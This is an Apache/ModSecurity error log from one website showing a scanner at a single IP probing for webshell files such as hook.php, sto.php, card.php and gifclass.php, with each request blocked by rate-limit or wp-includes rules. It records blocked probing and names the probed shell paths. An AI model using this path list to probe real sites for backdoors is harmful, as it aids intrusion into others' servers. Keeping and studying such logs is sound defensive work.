[Sun Dec 28 21:02:21.891282 2025] [:error] [pid 29436:tid 29446] [client 4.218.19.19:23596] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aVEqXbchzOOtNL9VPNIJ4AAAAYc"]
[Sun Dec 28 21:02:22.840299 2025] [:error] [pid 29436:tid 29451] [client 4.218.19.19:15904] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file1.php"] [unique_id "aVEqXrchzOOtNL9VPNIJ5QAAAYw"]
[Sun Dec 28 21:02:24.623044 2025] [:error] [pid 43789:tid 43801] [client 4.218.19.19:24493] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aVEqYAa-tUppni4CcCZEjwAAAQo"]
[Sun Dec 28 21:02:25.611774 2025] [:error] [pid 42294:tid 42353] [client 4.218.19.19:35013] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aVEqYdTE5kYcYCOzl9HM7gAAAIM"]
[Sun Dec 28 21:02:27.059431 2025] [:error] [pid 29437:tid 29480] [client 4.218.19.19:1795] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aVEqYxhDotAbVk6pZLfWgQAAAc4"]
[Sun Dec 28 21:02:27.477663 2025] [:error] [pid 29437:tid 29478] [client 4.218.19.19:14487] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file32.php"] [unique_id "aVEqYxhDotAbVk6pZLfWggAAAcw"]
[Sun Dec 28 21:02:29.468518 2025] [:error] [pid 29436:tid 29457] [client 4.218.19.19:15911] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aVEqZbchzOOtNL9VPNIKAQAAAZI"]
[Sun Dec 28 21:02:30.200471 2025] [:error] [pid 42294:tid 42362] [client 4.218.19.19:23491] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aVEqZtTE5kYcYCOzl9HM8wAAAIw"]
[Sun Dec 28 21:02:31.536176 2025] [:error] [pid 42293:tid 42332] [client 4.218.19.19:35016] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aVEqZ8vc9B-5cwN385L7zgAAAEk"]
[Sun Dec 28 21:02:35.219379 2025] [:error] [pid 29437:tid 29469] [client 4.218.19.19:23540] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hook.php"] [unique_id "aVEqaxhDotAbVk6pZLfWiQAAAcM"]
[Sun Dec 28 21:02:37.533135 2025] [:error] [pid 29388:tid 29409] [client 4.218.19.19:20659] [client 4.218.19.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVEqbdoLv2L2zI_SpdXw5AAAAU0"]
[Sun Dec 28 21:02:38.859978 2025] [:error] [pid 43789:tid 43792] [client 4.218.19.19:23959] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aVEqbga-tUppni4CcCZEmAAAAQE"]
[Sun Dec 28 21:02:41.396612 2025] [:error] [pid 29388:tid 29417] [client 4.218.19.19:23568] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aVEqcdoLv2L2zI_SpdXw8wAAAVU"]
[Sun Dec 28 21:02:44.172707 2025] [:error] [pid 29437:tid 29486] [client 4.218.19.19:24505] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aVEqdBhDotAbVk6pZLfWlwAAAdQ"]
[Sun Dec 28 21:02:45.656289 2025] [:error] [pid 29436:tid 29462] [client 4.218.19.19:11487] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file4.php"] [unique_id "aVEqdbchzOOtNL9VPNIKHAAAAZc"]
[Sun Dec 28 21:02:47.664103 2025] [:error] [pid 42378:tid 42399] [client 4.218.19.19:20622] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aVEqdzgtcN-KHAjWrX8qNgAAANM"]
[Sun Dec 28 21:02:49.284645 2025] [:error] [pid 42293:tid 42327] [client 4.218.19.19:23591] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aVEqecvc9B-5cwN385L77QAAAEQ"]
[Sun Dec 28 21:02:50.488259 2025] [:error] [pid 29437:tid 29485] [client 4.218.19.19:15881] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aVEqehhDotAbVk6pZLfWnQAAAdM"]
[Sun Dec 28 21:02:51.536484 2025] [:error] [pid 29437:tid 29471] [client 4.218.19.19:20645] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sto.php"] [unique_id "aVEqexhDotAbVk6pZLfWngAAAcU"]
[Sun Dec 28 21:02:52.880986 2025] [:error] [pid 29436:tid 29442] [client 4.218.19.19:20977] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aVEqfLchzOOtNL9VPNIKIwAAAYM"]
[Sun Dec 28 21:02:54.654262 2025] [:error] [pid 43789:tid 43806] [client 4.218.19.19:11397] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aVEqfga-tUppni4CcCZEpwAAAQ8"]
[Sun Dec 28 21:02:56.384139 2025] [:error] [pid 29437:tid 29486] [client 4.218.19.19:20671] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffile.php"] [unique_id "aVEqgBhDotAbVk6pZLfWpAAAAdQ"]
[Sun Dec 28 21:03:06.962082 2025] [:error] [pid 29436:tid 29445] [client 4.218.19.19:2047] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVEqirchzOOtNL9VPNIKSgAAAYY"]
[Sun Dec 28 21:03:08.631597 2025] [:error] [pid 42294:tid 42351] [client 4.218.19.19:19313] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVEqjNTE5kYcYCOzl9HNCQAAAIE"]
[Sun Dec 28 21:03:10.396849 2025] [:error] [pid 42378:tid 42400] [client 4.218.19.19:20669] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVEqjjgtcN-KHAjWrX8qQwAAANQ"]
[Sun Dec 28 21:03:12.840333 2025] [:error] [pid 42294:tid 42363] [client 4.218.19.19:16247] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aVEqkNTE5kYcYCOzl9HNCwAAAI0"]
[Sun Dec 28 21:03:21.934844 2025] [:error] [pid 42294:tid 42350] [client 4.218.19.19:20576] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aVEqmdTE5kYcYCOzl9HNDQAAAIA"]
[Sun Dec 28 21:03:23.584390 2025] [:error] [pid 29437:tid 29484] [client 4.218.19.19:2013] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aVEqmxhDotAbVk6pZLfW6AAAAdI"]
[Sun Dec 28 21:03:26.452366 2025] [:error] [pid 29388:tid 29416] [client 4.218.19.19:1906] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aVEqntoLv2L2zI_SpdXxKgAAAVQ"]
[Sun Dec 28 21:03:29.769768 2025] [:error] [pid 42293:tid 42345] [client 4.218.19.19:33651] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aVEqocvc9B-5cwN385L8GQAAAFY"]
[Sun Dec 28 21:03:34.500002 2025] [:error] [pid 42294:tid 42372] [client 4.218.19.19:22291] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aVEqptTE5kYcYCOzl9HNFQAAAJY"]
[Sun Dec 28 21:03:38.118004 2025] [:error] [pid 29437:tid 29479] [client 4.218.19.19:18721] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aVEqqhhDotAbVk6pZLfW7gAAAc0"]
[Sun Dec 28 21:03:45.964500 2025] [:error] [pid 42378:tid 42382] [client 4.218.19.19:14907] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEqsTgtcN-KHAjWrX8qUwAAAMI"]
[Sun Dec 28 21:03:47.523076 2025] [:error] [pid 29436:tid 29451] [client 4.218.19.19:14931] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEqs7chzOOtNL9VPNIKugAAAYw"]
[Sun Dec 28 21:03:48.396021 2025] [:error] [pid 42294:tid 42366] [client 4.218.19.19:12358] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEqtNTE5kYcYCOzl9HNHQAAAJA"]
[Sun Dec 28 21:03:50.355318 2025] [:error] [pid 29436:tid 29462] [client 4.218.19.19:33619] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aVEqtrchzOOtNL9VPNIKwgAAAZc"]
[Sun Dec 28 21:03:52.015786 2025] [:error] [pid 42378:tid 42383] [client 4.218.19.19:22893] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aVEquDgtcN-KHAjWrX8qVAAAAMM"]
[Sun Dec 28 21:03:54.806976 2025] [:error] [pid 29436:tid 29462] [client 4.218.19.19:12398] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aVEqurchzOOtNL9VPNIK0AAAAZc"]
[Sun Dec 28 21:03:57.688195 2025] [:error] [pid 29388:tid 29420] [client 4.218.19.19:1606] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aVEqvdoLv2L2zI_SpdXxRAAAAVg"]
[Sun Dec 28 21:03:59.273204 2025] [:error] [pid 43789:tid 43813] [client 4.218.19.19:1601] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aVEqvwa-tUppni4CcCZE1AAAARY"]
[Sun Dec 28 21:04:00.012945 2025] [:error] [pid 29437:tid 29490] [client 4.218.19.19:1604] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEqwBhDotAbVk6pZLfXBgAAAdg"]
[Sun Dec 28 21:04:02.240351 2025] [:error] [pid 29436:tid 29445] [client 4.218.19.19:36154] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEqwrchzOOtNL9VPNIK2wAAAYY"]
[Sun Dec 28 21:04:05.235841 2025] [:error] [pid 42294:tid 42368] [client 4.218.19.19:14042] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aVEqxdTE5kYcYCOzl9HNLgAAAJI"]
[Sun Dec 28 21:04:11.475535 2025] [proxy_fcgi:error] [pid 29437:tid 29474] [client 4.218.19.19:34930] AH01071: Got error 'Primary script unknown'
[Sun Dec 28 21:04:15.668116 2025] [:error] [pid 29437:tid 29485] [client 4.218.19.19:34930] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVEqzxhDotAbVk6pZLfXJQAAAdM"]
[Sun Dec 28 21:04:21.299700 2025] [:error] [pid 29388:tid 29414] [client 4.218.19.19:36100] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVEq1doLv2L2zI_SpdXxWgAAAVI"]
[Sun Dec 28 21:04:21.710036 2025] [:error] [pid 29437:tid 29490] [client 4.218.19.19:24161] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVEq1RhDotAbVk6pZLfXLAAAAdg"]
[Sun Dec 28 21:04:22.862498 2025] [:error] [pid 29388:tid 29417] [client 4.218.19.19:19067] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aVEq1toLv2L2zI_SpdXxXQAAAVU"]
[Sun Dec 28 21:04:24.204942 2025] [:error] [pid 42378:tid 42383] [client 4.218.19.19:18808] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVEq2DgtcN-KHAjWrX8qfAAAAMM"]
[Sun Dec 28 21:04:25.275584 2025] [:error] [pid 29437:tid 29469] [client 4.218.19.19:19063] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVEq2RhDotAbVk6pZLfXLgAAAcM"]
[Sun Dec 28 21:04:27.198562 2025] [:error] [pid 29388:tid 29401] [client 4.218.19.19:18797] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVEq29oLv2L2zI_SpdXxYgAAAUU"]
[Sun Dec 28 21:04:29.119275 2025] [:error] [pid 42294:tid 42357] [client 4.218.19.19:15937] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aVEq3dTE5kYcYCOzl9HNTQAAAIc"]
[Sun Dec 28 21:04:30.319347 2025] [:error] [pid 42294:tid 42364] [client 4.218.19.19:18768] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVEq3tTE5kYcYCOzl9HNUQAAAI4"]
[Sun Dec 28 21:04:32.648954 2025] [:error] [pid 29437:tid 29466] [client 4.218.19.19:18812] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVEq4BhDotAbVk6pZLfXMQAAAcA"]
[Sun Dec 28 21:04:33.858925 2025] [:error] [pid 29437:tid 29477] [client 4.218.19.19:22970] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVEq4RhDotAbVk6pZLfXNQAAAcs"]
[Sun Dec 28 21:04:35.682147 2025] [:error] [pid 29388:tid 29409] [client 4.218.19.19:21362] [client 4.218.19.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aVEq49oLv2L2zI_SpdXxcQAAAU0"]
